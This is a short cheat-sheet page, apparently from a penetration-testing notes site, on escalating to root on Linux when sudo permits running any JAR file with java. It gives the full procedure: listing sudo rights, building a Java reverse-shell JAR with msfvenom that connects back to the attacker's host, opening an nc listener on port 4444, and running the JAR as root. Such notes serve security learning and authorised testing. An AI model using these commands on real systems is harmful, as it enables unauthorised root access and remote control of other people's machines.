> For the complete documentation index, see [llms.txt](https://morgan-bin-bash.gitbook.io/linux-privilege-escalation/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://morgan-bin-bash.gitbook.io/linux-privilege-escalation/sudo-java-privilege-escalation.md).

# Sudo Java Privilege Escalation

### [Investigation](https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/sudo/sudo-java-privilege-escalation/#investigation) <a href="#investigation" id="investigation"></a>

```bash
sudo -l

(root) /usr/bin/java -jar *.jar
Copied!
```

If we can execute java command with arbitrary **`.jar`** file as root, we can escalate to privileges.

<br>

### [Exploitation](https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/sudo/sudo-java-privilege-escalation/#exploitation) <a href="#exploitation" id="exploitation"></a>

#### [1. Create a JAR File](https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/sudo/sudo-java-privilege-escalation/#1.-create-a-jar-file) <a href="#id-1.-create-a-jar-file" id="id-1.-create-a-jar-file"></a>

First, create a custom jar file in local machine.\
Replace **`<local-ip>`** with your local ip address.

```bash
msfvenom -p java/shell_reverse_tcp LHOST=<local-ip> LPORT=4444 -f jar -o shell.jar
Copied!
```

Then transfer the file to remote machine.

#### [2. Reverse Shell](https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/sudo/sudo-java-privilege-escalation/#2.-reverse-shell) <a href="#id-2.-reverse-shell" id="id-2.-reverse-shell"></a>

In local machine, start a listener.

```bash
nc -lvnp 4444
Copied!
```

Now execute the java command as root in target machine.

```bash
sudo /usr/bin/java -jar /tmp/shell.jar
Copied!
```

We should get a root shell.